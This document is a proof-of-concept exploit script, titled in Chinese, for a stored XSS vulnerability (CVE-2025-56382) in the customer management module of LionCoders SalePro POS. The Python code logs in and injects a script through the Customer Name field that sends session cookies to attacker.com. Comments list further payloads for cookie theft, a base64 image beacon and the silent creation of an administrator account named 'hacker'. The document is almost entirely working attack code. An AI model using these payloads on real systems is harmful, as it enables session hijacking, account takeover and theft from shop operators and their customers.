CVE-2025-56382：LionCoders SalePro POS客户管理模块存储型XSS漏洞

## Stored XSS Proof of Concept for CVE-2025-56382 ## Target: LionCoders SalePro POS 5.4.8 - Customer Management Module ## Vulnerability: Stored XSS via 'Customer Name' parameter import requests # Configuration TARGET_URL = "http://target-salePro-pos.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to the application session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Inject malicious JavaScript payload via Customer Name parameter # The payload will steal session cookies and send them to attacker's server malicious_payload = '<script>fetch("http://attacker.com/steal?cookie="+document.cookie);</script>' customer_url = f"{TARGET_URL}/customers/create" customer_data = { "customer_name": malicious_payload, "email": "[email protected]", "phone": "1234567890", "address": "Test Address" } # Step 3: Submit the malicious customer data response = session.post(customer_url, data=customer_data) if response.status_code == 200: print("[+] Malicious customer profile created successfully") print("[+] When an admin views this customer, the XSS payload will execute") else: print(f"[-] Failed to create customer profile. Status code: {response.status_code}") # Alternative payload examples: # Payload 1: Cookie stealing # <script>document.location='http://attacker.com/steal?c='+document.cookie</script> # Payload 2: Session hijacking with image beacon # <img src=x onerror="fetch('http://attacker.com/log?data='+btoa(document.cookie))"> # Payload 3: Admin privilege escalation attempt # <script>fetch('/api/users/create',{method:'POST',body:JSON.stringify({username:'hacker',password:'hacked',role:'admin'}),headers:{'Content-Type':'application/json'}})</script>